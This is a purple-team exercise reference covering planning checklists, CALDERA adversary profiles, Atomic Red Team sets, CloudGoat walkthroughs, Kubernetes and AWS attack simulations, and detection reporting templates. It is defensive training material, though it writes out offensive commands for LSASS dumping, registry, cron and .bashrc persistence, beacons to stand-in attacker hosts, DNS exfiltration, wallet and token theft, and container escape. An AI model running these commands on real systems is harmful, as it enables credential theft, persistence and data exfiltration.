Purple Team Exercise Playbooks — Deep Reference

CIPHER Training Module | Compiled 2026-03-15 Sources: MITRE CALDERA documentation, Atomic Red Team library, ATT&CK Navigator, MITRE Engenuity evaluations, SpecterOps research, SCYTHE purple team guides

---

Table of Contents

1. Exercise Planning Framework
2. CALDERA Adversary Profiles
3. Atomic Red Team Exercise Sets
4. ATT&CK Navigator Coverage Mapping
5. Detection Gap Analysis
6. CloudGoat Scenario Walkthroughs
7. Exercise Reporting Templates
8. Metrics and Maturity Tracking
9. Pre-Built Exercise Scenarios
10. Container and Cloud Emulation

---

1. Exercise Planning Framework

Exercise Types

Type	Duration	Scope	Participants	Output
Tabletop	2-4 hours	Scenario-based discussion	SOC, IR, management	Decision gaps, process improvements
Atomic	1-2 hours per technique	Single TTP validation	Red + Blue	Detection rule validation per technique
Scenario-based	1-3 days	Multi-stage attack chain	Full purple team	Coverage gap report, rule improvements
Full emulation	1-2 weeks	APT group full campaign	All security teams	Comprehensive coverage assessment

Planning Checklist

PRE-EXERCISE
[ ] Define objective — what question are we answering?
[ ] Select adversary profile or attack chain
[ ] Map TTPs to ATT&CK techniques (Navigator layer)
[ ] Verify log sources are active for all targeted techniques
[ ] Baseline current detection coverage (existing rules and alerts)
[ ] Define success criteria (MTTD targets, detection rate thresholds)
[ ] Identify safety controls (kill switch, rollback procedure)
[ ] Notify SOC (for full emulations; blind for tabletops)
[ ] Prepare evidence collection (PCAP, EVTX, syslog exports)

DURING EXERCISE
[ ] Execute techniques in planned sequence
[ ] Record exact timestamps for every action
[ ] Blue team documents what was detected and when
[ ] Note false negatives (missed detections) in real-time
[ ] Pause and investigate if unexpected behavior occurs
[ ] Collect artifacts from both attacker and defender perspectives

POST-EXERCISE
[ ] Calculate MTTD per technique
[ ] Map results to Navigator layer (green=detected, red=missed, yellow=partial)
[ ] Identify root causes for missed detections
[ ] Prioritize gap remediation by technique prevalence and impact
[ ] Write or update detection rules for gaps
[ ] Re-test remediated gaps within 30 days
[ ] Update exercise report and coverage metrics

Rules of Engagement Template

PURPLE TEAM EXERCISE — RULES OF ENGAGEMENT

Exercise Name  : [APT29 Initial Access Emulation]
Date/Window    : [2026-03-20 09:00-17:00 UTC]
Objective      : [Validate detection coverage for initial access and execution TTPs]
Scope          :
  In-scope     : [Workstation subnet 10.10.20.0/24, DC01, Exchange server]
  Out-of-scope : [Production database servers, external-facing web apps]

Adversary Profile: [APT29 / Cozy Bear — phishing → macro execution → C2]
Techniques     : [T1566.001, T1204.002, T1059.001, T1547.001, T1071.001]

Safety Controls:
  Kill switch   : [Disable CALDERA agent via /api/v2/agents/{id}]
  Rollback      : [Snapshot VMs before exercise, restore on completion]
  Escalation    : [If real incident detected, exercise pauses, IR activates]

Participants:
  Red           : [Operator 1 — executes techniques via CALDERA]
  Blue          : [SOC analyst — monitors SIEM, documents detections]
  Purple lead   : [Coordinator — manages timeline, adjudicates disputes]

Communication  : [Slack #purple-team-exercise / verbal for kills]
Reporting      : [Gap analysis due within 48 hours post-exercise]

---

2. CALDERA Adversary Profiles

APT29 (Cozy Bear) — Phishing to Data Exfiltration

# CALDERA adversary profile — APT29 emulation
adversary:
  name: APT29_Cozy_Bear
  description: SolarWinds-style supply chain + phishing initial access
  objective: "Establish persistence, move laterally, exfiltrate sensitive data"

abilities:
  # Phase 1: Initial Access
  - technique: T1566.001  # Spearphishing Attachment
    name: "Send macro-enabled document"
    executor: psh
    command: |
      # Simulates macro execution — drops beacon
      Invoke-WebRequest -Uri "http://CALDERA_SERVER/file/download" -OutFile "$env:TEMP\update.exe"
      Start-Process "$env:TEMP\update.exe"

  # Phase 2: Execution
  - technique: T1059.001  # PowerShell
    name: "PowerShell encoded command execution"
    executor: psh
    command: |
      $cmd = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes("whoami /all"))
      powershell -enc $cmd

  # Phase 3: Persistence
  - technique: T1547.001  # Registry Run Keys
    name: "Add registry run key persistence"
    executor: psh
    command: |
      New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "WindowsUpdate" -Value "$env:TEMP\update.exe"

  # Phase 4: Discovery
  - technique: T1087.001  # Account Discovery — Local
    name: "Enumerate local accounts"
    executor: psh
    command: "net user"

  - technique: T1087.002  # Account Discovery — Domain
    name: "Enumerate domain accounts"
    executor: psh
    command: "net user /domain"

  - technique: T1069.002  # Domain Groups
    name: "Enumerate domain groups"
    executor: psh
    command: "net group /domain"

  # Phase 5: Credential Access
  - technique: T1003.001  # LSASS Memory
    name: "Dump LSASS memory"
    executor: psh
    command: |
      rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump (Get-Process lsass).Id $env:TEMP\lsass.dmp full

  # Phase 6: Lateral Movement
  - technique: T1021.006  # WinRM
    name: "Lateral movement via WinRM"
    executor: psh
    command: |
      Invoke-Command -ComputerName TARGET -ScriptBlock { whoami; hostname }

  # Phase 7: Exfiltration
  - technique: T1041  # Exfiltration Over C2
    name: "Exfiltrate via C2 channel"
    executor: psh
    command: |
      Compress-Archive -Path "C:\Users\*\Documents\*.docx" -DestinationPath "$env:TEMP\docs.zip"
      # Upload via C2 channel

Expected detections:

Phase	Technique	Expected Alert	Log Source
Initial Access	T1566.001	Suspicious attachment download	Email gateway, proxy
Execution	T1059.001	Encoded PowerShell	Sysmon 1, 4688, PS ScriptBlock
Persistence	T1547.001	Registry run key modification	Sysmon 13, 4657
Discovery	T1087.002	Domain enumeration commands	Sysmon 1, 4688
Credential	T1003.001	LSASS access	Sysmon 10, 4663
Lateral	T1021.006	Remote WinRM session	4624 type 3, WinRM logs
Exfil	T1041	Anomalous outbound data volume	Proxy, NetFlow, EDR

FIN7 — Point-of-Sale Targeting

adversary:
  name: FIN7_Carbanak
  description: Financial targeting — phishing to POS compromise

abilities:
  - technique: T1566.001  # Spearphishing
    name: "Phishing with LNK file"
    executor: psh
    command: |
      # Simulate LNK → mshta → JavaScript payload chain
      mshta "javascript:var sh=new ActiveXObject('WScript.Shell');sh.Run('calc.exe');close()"

  - technique: T1059.005  # Visual Basic
    name: "VBS script execution"
    executor: cmd
    command: |
      cscript //nologo %TEMP%\update.vbs

  - technique: T1055.012  # Process Hollowing
    name: "Process hollowing into svchost"
    executor: psh
    command: |
      # Simulated — Atomic Red Team test
      Invoke-AtomicTest T1055.012

  - technique: T1005  # Data from Local System
    name: "Collect financial data"
    executor: psh
    command: |
      Get-ChildItem -Recurse -Include *.csv,*.xlsx -Path C:\Users\ | Select -First 10

Lazarus Group — Cryptocurrency Targeting

adversary:
  name: Lazarus_Group
  description: North Korean APT — supply chain and cryptocurrency theft

abilities:
  - technique: T1195.002  # Supply Chain — Compromise Software Supply Chain
    name: "Trojanized npm package simulation"
    executor: sh
    command: |
      # Simulate malicious package execution
      echo "Simulated supply chain payload" > /tmp/sc_payload.txt
      curl -s http://CALDERA_SERVER/beacon -o /dev/null

  - technique: T1059.004  # Unix Shell
    name: "Reverse shell via bash"
    executor: sh
    command: |
      # Simulated — connects to CALDERA for C2
      bash -c 'echo "simulated reverse shell" > /tmp/revshell.log'

  - technique: T1552.001  # Credentials in Files
    name: "Search for crypto wallet files"
    executor: sh
    command: |
      find / -name "wallet.dat" -o -name "*.keystore" -o -name ".env" 2>/dev/null | head -20

  - technique: T1048.003  # Exfiltration Over Unencrypted Protocol
    name: "DNS exfiltration"
    executor: sh
    command: |
      # Simulate DNS exfil — encode data in subdomain queries
      for chunk in $(echo "sensitive_data" | fold -w 30); do
        nslookup "$chunk.exfil.example.com" 2>/dev/null
      done

---

3. Atomic Red Team Exercise Sets

Credential Access Exercise (2-hour block)

Execute these in sequence, validating detection at each step:

# Setup — install Atomic Red Team
IEX (IWR 'https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicredteam.ps1' -UseBasicParsing)
Install-AtomicRedTeam -getAtomics

# T1003.001 — OS Credential Dumping: LSASS Memory
Invoke-AtomicTest T1003.001 -TestNumbers 1,2  # Procdump and comsvcs.dll methods
# Expected: Sysmon Event 10 (ProcessAccess to lsass), EDR alert
# MTTD target: < 5 minutes

# T1003.003 — OS Credential Dumping: NTDS
Invoke-AtomicTest T1003.003 -TestNumbers 1    # ntdsutil method
# Expected: Event 4688 (ntdsutil.exe), Sysmon 1
# MTTD target: < 2 minutes

# T1558.003 — Kerberoasting
Invoke-AtomicTest T1558.003 -TestNumbers 1    # Rubeus kerberoast
# Expected: Event 4769 (TGS request, encryption type 0x17)
# MTTD target: < 10 minutes

# T1558.004 — AS-REP Roasting
Invoke-AtomicTest T1558.004                    # Rubeus asreproast
# Expected: Event 4768 (AS-REQ, PreAuthType 0)
# MTTD target: < 10 minutes

# T1552.006 — Group Policy Preferences
Invoke-AtomicTest T1552.006                    # GPP password extraction
# Expected: Event 4688 (findstr.exe with cpassword)
# MTTD target: < 5 minutes

# Cleanup all
Invoke-AtomicTest T1003.001 -Cleanup
Invoke-AtomicTest T1003.003 -Cleanup
Invoke-AtomicTest T1558.003 -Cleanup
Invoke-AtomicTest T1558.004 -Cleanup
Invoke-AtomicTest T1552.006 -Cleanup

Persistence Exercise (2-hour block)

# T1547.001 — Registry Run Keys / Startup Folder
Invoke-AtomicTest T1547.001 -TestNumbers 1,2,3
# Expected: Sysmon 13 (RegistryValueSet), 4657 (registry audit)
# MTTD target: < 2 minutes

# T1053.005 — Scheduled Task
Invoke-AtomicTest T1053.005 -TestNumbers 1
# Expected: Event 4698 (scheduled task created), Sysmon 1 (schtasks.exe)
# MTTD target: < 2 minutes

# T1543.003 — Windows Service
Invoke-AtomicTest T1543.003 -TestNumbers 1
# Expected: Event 7045 (service installed), 4697
# MTTD target: < 2 minutes

# T1546.001 — Change Default File Association
Invoke-AtomicTest T1546.001
# Expected: Sysmon 13 (registry modification)

# T1136.001 — Create Account: Local Account
Invoke-AtomicTest T1136.001
# Expected: Event 4720 (user account created)
# MTTD target: < 1 minute

# Cleanup
Invoke-AtomicTest T1547.001 -Cleanup
Invoke-AtomicTest T1053.005 -Cleanup
Invoke-AtomicTest T1543.003 -Cleanup
Invoke-AtomicTest T1546.001 -Cleanup
Invoke-AtomicTest T1136.001 -Cleanup

Linux Persistence Exercise (1-hour block)

# T1053.003 — Cron
sudo bash -c 'echo "*/5 * * * * /tmp/beacon.sh" >> /var/spool/cron/crontabs/root'
# Expected: auditd (crontab modification), file integrity alert
# MTTD target: < 5 minutes

# T1543.002 — Systemd Service
cat > /tmp/test-persistence.service << 'EOF'
[Unit]
Description=Test Persistence

[Service]
ExecStart=/tmp/beacon.sh
Restart=always

[Install]
WantedBy=multi-user.target
EOF
sudo cp /tmp/test-persistence.service /etc/systemd/system/
# Expected: auditd (file write to /etc/systemd), journald
# MTTD target: < 5 minutes

# T1546.004 — Unix Shell Configuration Modification
echo 'curl -s http://attacker/beacon > /dev/null &' >> ~/.bashrc
# Expected: FIM alert on .bashrc, auditd

# T1098.004 — SSH Authorized Keys
mkdir -p ~/.ssh && echo "ssh-rsa AAAA... attacker@c2" >> ~/.ssh/authorized_keys
# Expected: FIM alert on authorized_keys, auditd

# Cleanup
sudo sed -i '/beacon/d' /var/spool/cron/crontabs/root
sudo rm /etc/systemd/system/test-persistence.service
sed -i '/beacon/d' ~/.bashrc
sed -i '/attacker@c2/d' ~/.ssh/authorized_keys

---

4. ATT&CK Navigator Coverage Mapping

Layer Format

{
  "name": "Purple Team Coverage — Q1 2026",
  "versions": { "attack": "15", "navigator": "5.1", "layer": "4.5" },
  "domain": "enterprise-attack",
  "description": "Detection coverage from purple team exercises",
  "filters": { "platforms": ["windows", "linux", "cloud"] },
  "gradient": {
    "colors": ["#ff6666", "#ffcc00", "#66ff66"],
    "minValue": 0,
    "maxValue": 100
  },
  "techniques": [
    {
      "techniqueID": "T1003.001",
      "color": "#66ff66",
      "comment": "Detected via Sysmon 10 + Sigma rule. MTTD: 3 min. Last tested: 2026-03-15",
      "score": 90,
      "metadata": [
        { "name": "detection_source", "value": "Sysmon + SIEM" },
        { "name": "mttd_minutes", "value": "3" },
        { "name": "last_tested", "value": "2026-03-15" },
        { "name": "confidence", "value": "high" }
      ]
    },
    {
      "techniqueID": "T1055.012",
      "color": "#ff6666",
      "comment": "NOT DETECTED. Process hollowing bypasses current Sysmon config. Need Sysmon 8 + memory scanning.",
      "score": 10,
      "metadata": [
        { "name": "gap_reason", "value": "No Sysmon Event 8 configured" },
        { "name": "remediation", "value": "Enable Sysmon CreateRemoteThread logging" },
        { "name": "priority", "value": "high" }
      ]
    }
  ]
}

Coverage scoring scale

Score	Color	Meaning	Criteria
0-20	Red	No detection	Technique executes with no alert
21-40	Orange	Minimal	Log exists but no rule; manual hunting only
41-60	Yellow	Partial	Rule exists but high FP rate or delayed detection
61-80	Light green	Good	Reliable detection, MTTD < 15 min
81-100	Green	Excellent	Automated detection + response, MTTD < 5 min

Coverage heatmap by tactic

Track quarterly progression:

Tactic              | Q4 2025 | Q1 2026 | Delta | Target
--------------------|---------|---------|-------|-------
Initial Access      |   45%   |   62%   | +17%  |  80%
Execution           |   72%   |   78%   |  +6%  |  90%
Persistence         |   38%   |   55%   | +17%  |  75%
Privilege Escalation|   41%   |   52%   | +11%  |  70%
Defense Evasion     |   22%   |   30%   |  +8%  |  50%
Credential Access   |   65%   |   82%   | +17%  |  90%
Discovery           |   55%   |   58%   |  +3%  |  70%
Lateral Movement    |   50%   |   61%   | +11%  |  80%
Collection          |   30%   |   35%   |  +5%  |  60%
Exfiltration        |   25%   |   32%   |  +7%  |  60%
Command and Control |   48%   |   55%   |  +7%  |  75%
Impact              |   60%   |   65%   |  +5%  |  80%

---

5. Detection Gap Analysis

Gap Analysis Template

DETECTION GAP ANALYSIS — [Exercise Name]
Date: [2026-03-15]
Adversary: [APT29 emulation]
Scope: [Windows endpoints, Active Directory, network]

EXECUTIVE SUMMARY
- Techniques tested: 15
- Detected: 9 (60%)
- Partially detected: 3 (20%)
- Missed: 3 (20%)
- Average MTTD (detected): 7.2 minutes
- Highest-risk gap: [T1055.012 — Process Hollowing — no detection capability]

GAP DETAIL TABLE
| # | Technique | Name | Detection | MTTD | Gap Reason | Remediation | Priority | ETA |
|---|-----------|------|-----------|------|------------|-------------|----------|-----|
| 1 | T1055.012 | Process Hollowing | MISS | N/A | Sysmon 8 not configured | Enable CreateRemoteThread logging | Critical | 1 week |
| 2 | T1041 | Exfil Over C2 | PARTIAL | 45m | Volume threshold too high | Reduce NetFlow anomaly threshold from 100MB to 10MB | High | 2 weeks |
| 3 | T1071.001 | App Layer Protocol | MISS | N/A | No TLS inspection for C2 domains | Deploy JA3/JA3S fingerprinting rules | High | 3 weeks |
| 4 | T1547.001 | Run Key Persistence | DETECTED | 12m | Rule works but slow | Optimize Sigma rule, reduce search interval | Medium | 1 week |

ROOT CAUSE ANALYSIS
1. Log source gaps: [Sysmon Event 8 not in current config]
2. Rule gaps: [No Sigma rule for JA3 anomaly detection]
3. Threshold issues: [Exfil threshold too high for slow-and-low exfiltration]
4. Visibility gaps: [No east-west traffic inspection between workstation VLANs]

RECOMMENDATIONS (Priority ordered)
1. [CRITICAL] Enable Sysmon Event 8 (CreateRemoteThread) — covers T1055.*
2. [HIGH] Deploy JA3/JA3S fingerprinting in Suricata/Zeek — covers T1071.*
3. [HIGH] Reduce NetFlow anomaly threshold — covers T1041, T1048
4. [MEDIUM] Optimize run key Sigma rule search interval to 1 minute
5. [LOW] Add east-west monitoring between workstation VLANs

RETEST SCHEDULE
- Gap #1: Retest after Sysmon config update (target: 2026-03-22)
- Gap #2: Retest after JA3 deployment (target: 2026-04-05)
- Gap #3: Retest after threshold change (target: 2026-03-25)

Gap Prioritization Matrix

                    HIGH PREVALENCE           LOW PREVALENCE
                    (common in threat         (rare, targeted
                     landscape)                attacks)
                ┌───────────────────────┬───────────────────────┐
HIGH IMPACT     │                       │                       │
(data loss,     │   P1 — CRITICAL       │   P2 — HIGH           │
credential      │   Fix within 1 week   │   Fix within 2 weeks  │
theft,          │                       │                       │
persistence)    │                       │                       │
                ├───────────────────────┼───────────────────────┤
LOW IMPACT      │                       │                       │
(discovery,     │   P3 — MEDIUM         │   P4 — LOW            │
recon,          │   Fix within 1 month  │   Backlog / accept    │
staging)        │                       │                       │
                └───────────────────────┴───────────────────────┘

---

6. CloudGoat Scenario Walkthroughs

IAM Privilege Escalation by Rollback

# Deploy
cd cloudgoat && ./cloudgoat.py create iam_privesc_by_rollback

# Attack path
# 1. Start with low-privilege IAM user (Raynor)
export AWS_PROFILE=raynor

# 2. Enumerate current permissions
aws iam list-user-policies --user-name raynor
aws iam list-attached-user-policies --user-name raynor

# 3. Discover IAM version history
aws iam list-policy-versions --policy-arn arn:aws:iam::ACCOUNT:policy/cg-raynor-policy

# 4. Find version with higher privileges
aws iam get-policy-version --policy-arn arn:aws:iam::ACCOUNT:policy/cg-raynor-policy --version-id v1

# 5. Roll back to privileged version
aws iam set-default-policy-version --policy-arn arn:aws:iam::ACCOUNT:policy/cg-raynor-policy --version-id v1

# 6. Verify escalated access
aws iam list-users  # Should now work

# Expected detections
# - CloudTrail: SetDefaultPolicyVersion (T1078.004)
# - CloudTrail: ListPolicyVersions (reconnaissance)
# - GuardDuty: IAM policy change by unusual principal

# Cleanup
./cloudgoat.py destroy iam_privesc_by_rollback

Lambda Privilege Escalation

./cloudgoat.py create lambda_privesc

# Attack path
# 1. Start with Chris user — has lambda:* and iam:PassRole
# 2. Create lambda function with admin role attached
# 3. Lambda executes with admin privileges — full account compromise

# Expected detections
# - CloudTrail: CreateFunction with PassRole to admin
# - CloudTrail: Lambda invocation with unusual permissions
# - GuardDuty: Unusual lambda creation pattern

./cloudgoat.py destroy lambda_privesc

EC2 SSRF

./cloudgoat.py create ec2_ssrf

# Attack path
# 1. Discover web app running on EC2
# 2. Exploit SSRF to reach metadata service (169.254.169.254)
# 3. Extract IAM role credentials from metadata
# 4. Use stolen creds to access S3 buckets with sensitive data

# Expected detections
# - VPC Flow Logs: connection to 169.254.169.254
# - CloudTrail: API calls from EC2 role outside normal pattern
# - GuardDuty: UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration

./cloudgoat.py destroy ec2_ssrf

---

7. Exercise Reporting Templates

Executive Summary Report

PURPLE TEAM EXERCISE REPORT — EXECUTIVE SUMMARY

Exercise     : [APT29 Emulation — Initial Access through Exfiltration]
Date         : [2026-03-15]
Duration     : [8 hours]
Scope        : [Windows domain, 50 endpoints, 2 DCs, cloud workloads]

RESULTS AT A GLANCE
┌─────────────────┬───────┐
│ Techniques tested│  15   │
│ Detected         │  9    │
│ Partially detected│  3   │
│ Missed           │  3    │
│ Detection rate   │  60%  │
│ Average MTTD     │  7.2m │
│ Longest MTTD     │  45m  │
└─────────────────┴───────┘

TOP 3 WINS
1. LSASS credential dumping detected in under 3 minutes (Sysmon + Sigma)
2. Registry persistence detected and auto-contained by EDR
3. Domain enumeration commands triggered real-time SOC alert

TOP 3 GAPS (REMEDIATION REQUIRED)
1. Process hollowing — zero visibility (requires Sysmon config update)
2. Slow exfiltration — 45-minute detection delay (threshold adjustment)
3. JA3 fingerprint of C2 — no capability deployed (requires Suricata rule)

RISK ASSESSMENT
Before exercise: estimated 55% ATT&CK coverage
After exercise: measured 60% coverage (5 techniques overestimated)
Adjusted target: 80% coverage by Q2 2026

NEXT STEPS
1. Implement 3 critical detection rules (1-week deadline)
2. Retest failed techniques (2-week deadline)
3. Schedule FIN7 emulation for Q2

Detailed Technical Report

PURPLE TEAM EXERCISE — TECHNICAL REPORT

[Include all sections from gap analysis template above, plus:]

ATTACK TIMELINE
| Time (UTC) | Red Team Action | Technique | Blue Team Detection | MTTD |
|------------|-----------------|-----------|--------------------|----|
| 09:00 | Phishing email sent | T1566.001 | Email gateway flagged | 0m |
| 09:05 | Macro executed | T1204.002 | Sysmon 1 alert | 2m |
| 09:10 | PowerShell encoded cmd | T1059.001 | ScriptBlock log alert | 3m |
| 09:15 | Registry run key | T1547.001 | Sysmon 13 alert | 12m |
| 09:30 | Domain enumeration | T1087.002 | 4688 alert | 1m |
| 09:45 | LSASS dump | T1003.001 | Sysmon 10 alert | 3m |
| 10:00 | Process hollowing | T1055.012 | NOT DETECTED | N/A |
| 10:15 | WinRM lateral | T1021.006 | 4624 type 3 | 5m |
| 10:30 | Data staging | T1074.001 | NOT DETECTED | N/A |
| 11:00 | C2 exfiltration | T1041 | Partial — 45m delay | 45m |

DETECTION RULE CHANGES
[List of Sigma rules created, modified, or proposed]

SYSMON CONFIGURATION CHANGES
[Diff of sysmon config before/after]

LOG SOURCE REQUIREMENTS
[New log sources needed and deployment plan]

---

8. Metrics and Maturity Tracking

Key Metrics

MTTD (Mean Time to Detect)
- Per technique: time from execution to first alert
- Per tactic: average MTTD across all techniques in tactic
- Trend: track quarterly, target consistent reduction
- Benchmark: < 5 min for critical techniques, < 15 min for all

Detection Rate
- Percentage of tested techniques with reliable detection
- Broken down by: tactic, platform, log source
- Target: 80% for critical techniques, 60% overall

False Positive Rate
- Alerts per technique that fire on legitimate activity
- Target: < 5% for critical rules, < 10% for all rules
- Track tuning effectiveness over time

Coverage Delta
- Difference between estimated and actual coverage
- If you thought you had 80% but testing shows 60%, delta is -20%
- Shrinking delta = improving assessment accuracy

Rule Effectiveness
- Rules that fire: working as designed
- Rules that don't fire: gap or misconfiguration
- Rules that fire incorrectly: need tuning

Maturity Model

Level 0 — AD HOC
- No regular testing
- Detection rules based on vendor defaults
- No coverage measurement

Level 1 — REACTIVE
- Annual penetration test
- Some custom Sigma rules
- Basic ATT&CK mapping exists

Level 2 — REPEATABLE
- Quarterly purple team exercises
- Coverage tracked in ATT&CK Navigator
- Gap remediation within 30 days
- MTTD measured per exercise

Level 3 — PROACTIVE
- Monthly atomic testing (automated)
- Continuous coverage monitoring
- Detection-as-code pipeline (Sigma → SIEM)
- Sub-10-minute MTTD for top 20 techniques

Level 4 — OPTIMIZED
- Automated adversary emulation (CALDERA scheduled)
- Real-time coverage dashboard
- Detection rules tested in CI/CD before deployment
- MTTD consistently < 5 min, detection rate > 80%

---

9. Pre-Built Exercise Scenarios

Scenario 1: Ransomware Simulation (Half-day)

OBJECTIVE: Validate detection and response for ransomware kill chain
TECHNIQUES: T1566.001 → T1059.001 → T1547.001 → T1003.001 → T1021.002 → T1486

Phase 1: Delivery (T1566.001)
- Send test phishing email with macro-enabled doc
- Validate email gateway detection

Phase 2: Execution (T1059.001)
- Execute PowerShell download cradle
- Validate Sysmon + AMSI detection

Phase 3: Persistence (T1547.001)
- Install registry run key
- Validate registry monitoring

Phase 4: Credential Theft (T1003.001)
- Dump LSASS with comsvcs.dll
- Validate Sysmon 10 + EDR detection

Phase 5: Lateral Movement (T1021.002)
- PSExec to file server
- Validate 4624/4648 detection

Phase 6: Impact (T1486)
- Simulate encryption (rename files with .encrypted extension — DO NOT actually encrypt)
- Validate file monitoring + response playbook activation

SUCCESS CRITERIA:
- All 6 phases detected
- IR playbook activated within 30 minutes of Phase 4
- Containment (network isolation) within 15 minutes of Phase 5 detection

Scenario 2: Business Email Compromise (2-hour)

OBJECTIVE: Validate detection for cloud identity compromise
TECHNIQUES: T1566.002 → T1078.004 → T1114.002 → T1534 → T1657

Phase 1: Phishing Link (T1566.002)
- Send email with credential harvesting link
- Validate URL filtering + user awareness

Phase 2: Valid Accounts (T1078.004)
- Login from unusual location (VPN to foreign IP)
- Validate Azure AD / Google Workspace anomaly detection
- Check conditional access policy enforcement

Phase 3: Email Collection (T1114.002)
- Create mailbox forwarding rule
- Validate M365/Google alert for forwarding rule creation

Phase 4: Internal Spearphishing (T1534)
- Send email from compromised account to finance
- Validate internal phishing detection

SUCCESS CRITERIA:
- Unusual login detected within 5 minutes
- Forwarding rule flagged within 2 minutes
- Account suspended within 30 minutes of first detection

Scenario 3: Linux Server Compromise (2-hour)

OBJECTIVE: Validate detection for Linux post-exploitation
TECHNIQUES: T1190 → T1059.004 → T1053.003 → T1552.001 → T1048.003

Phase 1: Exploit Public App (T1190)
- Simulate web app RCE (test endpoint returns shell output)
- Validate WAF + application log detection

Phase 2: Unix Shell (T1059.004)
- Execute reverse shell (to controlled listener)
- Validate auditd + EDR detection

Phase 3: Cron Persistence (T1053.003)
- Add cron job for beacon
- Validate crontab modification alert

Phase 4: Credential in Files (T1552.001)
- Search for .env files, SSH keys, AWS credentials
- Validate file access monitoring

Phase 5: DNS Exfiltration (T1048.003)
- Exfiltrate test data via DNS queries
- Validate DNS monitoring + anomaly detection

SUCCESS CRITERIA:
- Reverse shell detected within 5 minutes
- Cron persistence detected within 2 minutes
- DNS exfil detected within 10 minutes

---

10. Container and Cloud Emulation

Kubernetes Attack Simulation

# Prerequisites: Kubernetes cluster with Falco + audit logging

# T1610 — Deploy Container
# Deploy privileged container (should be blocked by admission controller)
kubectl run test-priv --image=alpine --overrides='{"spec":{"containers":[{"name":"test","image":"alpine","securityContext":{"privileged":true}}]}}'
# Expected: OPA/Kyverno deny, Falco alert

# T1611 — Escape to Host
# Attempt container escape via /proc/sysrq-trigger
kubectl exec -it test-pod -- sh -c 'echo b > /proc/sysrq-trigger'
# Expected: Falco alert (Write below /proc), seccomp deny

# T1552.007 — Container API
# Access Kubernetes secrets from within pod
kubectl exec -it test-pod -- sh -c 'cat /var/run/secrets/kubernetes.io/serviceaccount/token'
kubectl exec -it test-pod -- sh -c 'curl -sk https://kubernetes.default.svc/api/v1/secrets -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"'
# Expected: RBAC deny (if properly configured), API server audit log

# T1613 — Container and Resource Discovery
kubectl exec -it test-pod -- sh -c 'curl -sk https://kubernetes.default.svc/api/v1/namespaces'
# Expected: API server audit log, Falco alert

# Cleanup
kubectl delete pod test-priv test-pod --ignore-not-found

AWS Attack Simulation

# Using Stratus Red Team (https://github.com/DataDog/stratus-red-team)

# Install
go install github.com/datadog/stratus-red-team/cmd/stratus@latest

# T1078.004 — Initial Access: Console Login Without MFA
stratus detonate aws.initial-access.console-login-without-mfa
# Expected: GuardDuty UnauthorizedAccess, CloudTrail ConsoleLogin without MFA

# T1098 — Persistence: Create Access Key
stratus detonate aws.persistence.iam-create-user-login-profile
# Expected: CloudTrail CreateLoginProfile, GuardDuty alert

# T1087.004 — Discovery: Enumerate IAM Users
stratus detonate aws.discovery.enum-iam-users
# Expected: CloudTrail ListUsers burst, GuardDuty Discovery

# T1530 — Collection: Access S3 Data
stratus detonate aws.exfiltration.s3-backdoor-bucket-policy
# Expected: CloudTrail PutBucketPolicy, S3 access logging

# Cleanup all
stratus cleanup --all

---

Appendix: Detection Rule Quick-Write Templates

After finding a gap, use these templates:

Windows process-based detection:

title: "[Exercise] Technique Name Detection"
id: # generate UUID
status: experimental
description: "Detects [technique] observed during purple team exercise [date]"
references:
  - "https://attack.mitre.org/techniques/TXXXX/"
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|endswith: '\suspicious.exe'
    CommandLine|contains:
      - 'malicious_arg'
  condition: selection
falsepositives:
  - "[Specific legitimate use case]"
level: high
tags:
  - attack.tXXXX
  - attack.[tactic]

Network-based detection:

title: "[Exercise] Network Anomaly Detection"
id: # generate UUID
status: experimental
logsource:
  category: network_connection
  product: windows  # or firewall, proxy
detection:
  selection:
    DestinationPort:
      - 4444
      - 8443
    Initiated: 'true'
  filter:
    DestinationIp|startswith:
      - '10.'
      - '172.16.'
      - '192.168.'
  condition: selection and not filter
level: medium
tags:
  - attack.t1071
  - attack.command_and_control

Cloud-based detection (CloudTrail):

title: "[Exercise] AWS IAM Anomaly"
id: # generate UUID
status: experimental
logsource:
  product: aws
  service: cloudtrail
detection:
  selection:
    eventName:
      - 'SetDefaultPolicyVersion'
      - 'CreatePolicyVersion'
    userIdentity.type: 'IAMUser'
  condition: selection
level: high
tags:
  - attack.t1078.004
  - attack.privilege_escalation